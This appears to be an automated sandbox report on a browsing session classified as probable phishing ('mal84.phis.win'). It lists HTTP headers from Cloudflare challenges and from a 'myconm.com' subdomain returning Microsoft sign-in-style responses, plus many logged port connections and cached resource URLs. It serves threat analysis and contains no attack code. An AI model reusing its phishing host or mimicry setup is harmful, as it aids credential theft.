HTTP traffic detected: POST /cdn-cgi/challenge-platform/h/g/flow/ov1/1217350448:1733764300:zvHUnKjOCxwAgch-M913R2tM8mD1gJ3EVo_4ePpgicY/8ef6c96199b00fa1/2axRlM8K45EWtO8TzXqLTkRi3Arai34899td5._XtdE-1733766093-1.1.1.1-OdzvnEQ8SyL0GCsJS1G2sdj0PQ3PjMMmAQr2GdyUfGyLh3H5W0rTPAiNuAP_i4g0 HTTP/1.1Host: challenges.cloudflare.comConnection: keep-aliveContent-Length: 3389sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Content-type: application/x-www-form-urlencodedCF-Chl-RetryAttempt: 0sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36CF-Challenge: 2axRlM8K45EWtO8TzXqLTkRi3Arai34899td5._XtdE-1733766093-1.1.1.1-OdzvnEQ8SyL0GCsJS1G2sdj0PQ3PjMMmAQr2GdyUfGyLh3H5W0rTPAiNuAP_i4g0sec-ch-ua-platform: "Windows"Accept: */*Origin: https://challenges.cloudflare.comSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/g/turnstile/if/ov2/av0/rcv/5zffs/0x4AAAAAAAz81HM6AHANCtc4/light/fbE/normal/auto/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 17:41:40 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: q52SjiN/apDTh9NiaiTkKCEAH/3hK0eps3g=$PxnkGarYsxRaiIJtServer: cloudflareCF-RAY: 8ef6c98cffa04322-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 17:41:48 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: 9mmX5XJ7LuQCtnE4WJ5HiXqAJtRgMZ4dJGE=$jU5EVDKgsKj8+8fIServer: cloudflareCF-RAY: 8ef6c9c18b750f39-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 17:41:54 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: pf9LmYck1j3M9tygGwrJ9SClFK/JCNOWx5M=$vTJuWXuzNr0ptnp4Server: cloudflareCF-RAY: 8ef6c9e91b5f42dd-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 17:42:04 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: X4qRR9OG5uoJr/WFc75yjoTclHeLU8wlS+0=$yFsrgfrfKSEBbYifServer: cloudflareCF-RAY: 8ef6ca236bfe4304-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Dec 2024 17:42:25 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encoding
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 17:42:28 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: 6v8ZNP4uIacTkATw8cDdoaJYrGqH6YP5Dlo=$h7MkiZj/z39x4JM9cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ef6caba0f0bf791-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 17:42:34 GMTContent-Type: application/jsonContent-Length: 7Connection: closecache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0cf-chl-out: dB33gsAJyDb3nd1EWfA3Kd7KPF0YDTdYjcg=$lYmOfnEV6DOan0mNServer: cloudflareCF-RAY: 8ef6cae2e84a728a-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Mon, 09 Dec 2024 17:42:38 GMTContent-Type: application/jsonContent-Length: 7Connection: closecf-chl-out: nPUT5jfpLO2FT4bAsHVvNCV6C7IMvZPjIho=$fycq7bW7qNSWDNTlcache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0Server: cloudflareCF-RAY: 8ef6cafc6e36423a-EWRalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Dec 2024 17:42:46 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 0441a297-3ebe-496c-a692-1f747e950901x-ms-ests-server: 2.1.19492.3 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Dec 2024 17:42:53 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 392a303a-a797-40f2-8e9c-b7bfbe312300x-ms-ests-server: 2.1.19568.3 - WEULR1 ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Dec 2024 17:42:56 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: no-store, no-cachex-ms-correlation-id: 2086b97e-21fb-4359-ad84-15ff54ea7044x-ua-compatible: IE=Edgex-cache: CONFIG_NOCACHEx-msedge-ref: Ref A: 80F7F6DDF0E542C0AD2281AB24283C00 Ref B: AMS231032610049 Ref C: 2024-12-09T17:42:56Zaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Dec 2024 17:42:57 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: b38e5df4-d3c8-49e0-a7d0-cb5510794201x-ms-ests-server: 2.1.19492.3 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Dec 2024 17:43:04 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingcache-control: privatep3p: CP="DSP CUR OTPi IND OTRi ONL FIN"x-ms-request-id: 7ef7cbe9-9e70-4fdb-97b1-8e7f006c6101x-ms-ests-server: 2.1.19492.3 - SEC ProdSlicesreport-to: {"group":"network-errors","max_age":86400,"endpoints":[{"url":"https://d31a483e-0e591a27.myconm.com/api/report?catId=GW+estsfd+dub2"}]}nel: {"report_to":"network-errors","max_age":86400,"success_fraction":0.001,"failure_fraction":1.0}x-ms-srs: 1.Preferrer-policy: strict-origin-when-cross-originaccess-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Dec 2024 17:43:14 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingppserver: PPV: 30 H: BL02EPF0001DA3A V: 0access-control-allow-origin: access-control-allow-headers:
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 09 Dec 2024 17:43:19 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeVary: Accept-Encodingppserver: PPV: 30 H: SN1PEPF0002FA29 V: 0access-control-allow-origin: access-control-allow-headers:

Source: chromecache_130.1.dr	String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.1/jquery.min.js
Source: chromecache_130.1.dr	String found in binary or memory: https://challenges.cloudflare.com/turnstile/v0/api.js?compat=recaptcha
Source: chromecache_130.1.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Open
Source: chromecache_130.1.dr	String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto
Source: chromecache_146.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS-muw.woff2)
Source: chromecache_146.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTS2mu1aB.woff2)
Source: chromecache_146.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSCmu1aB.woff2)
Source: chromecache_146.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSGmu1aB.woff2)
Source: chromecache_146.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSKmu1aB.woff2)
Source: chromecache_146.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSOmu1aB.woff2)
Source: chromecache_146.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSumu1aB.woff2)
Source: chromecache_146.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTSymu1aB.woff2)
Source: chromecache_146.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTUGmu1aB.woff2)
Source: chromecache_146.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/opensans/v40/memvYaGs126MiZpBA-UvWbX2vVnXBbObj2OVTVOmu1aB.woff2)
Source: chromecache_121.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufA5qW54A.woff2)
Source: chromecache_121.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufB5qW54A.woff2)
Source: chromecache_121.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufC5qW54A.woff2)
Source: chromecache_121.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufD5qW54A.woff2)
Source: chromecache_121.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufJ5qW54A.woff2)
Source: chromecache_121.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufN5qU.woff2)
Source: chromecache_121.1.dr	String found in binary or memory: https://fonts.gstatic.com/s/robotoslab/v34/BngMUXZYTXPIvIBgJJSb6ufO5qW54A.woff2)

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49741
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49766 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49732
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49749 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 49790 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49720
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 49834 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49748 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 49680 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49716
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 49847 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49822 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49726 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49706
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49676 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49836 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49791 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49736 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49759 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49753 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49770
Source: unknown	Network traffic detected: HTTP traffic on port 49742 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49780 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49802 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 49758 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49762
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49759
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49758
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49757
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49755
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49752
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49747 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49846 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49748
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49747
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49746
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49745
Source: unknown	Network traffic detected: HTTP traffic on port 49746 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49781 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49696
Source: unknown	Network traffic detected: HTTP traffic on port 49820 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49691
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49763 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49752 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49735 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49819 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49844 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49745 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49793 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49751 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49757 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 49677 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49733 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49821
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49820
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49691 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49762 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49819
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49818
Source: unknown	Network traffic detected: HTTP traffic on port 49799 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49810 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49817
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49815
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49814
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49813
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49812
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49811
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49810
Source: unknown	Network traffic detected: HTTP traffic on port 49696 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49788 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49767 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49827 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49809
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49808
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49807
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49806
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49805
Source: unknown	Network traffic detected: HTTP traffic on port 49848 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49804
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49803
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49802
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49838 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49815 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49809 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49778 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49738 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49755 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49744 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49832 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443

Source: classification engine

Classification label: mal84.phis.win@25/85@78/16

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
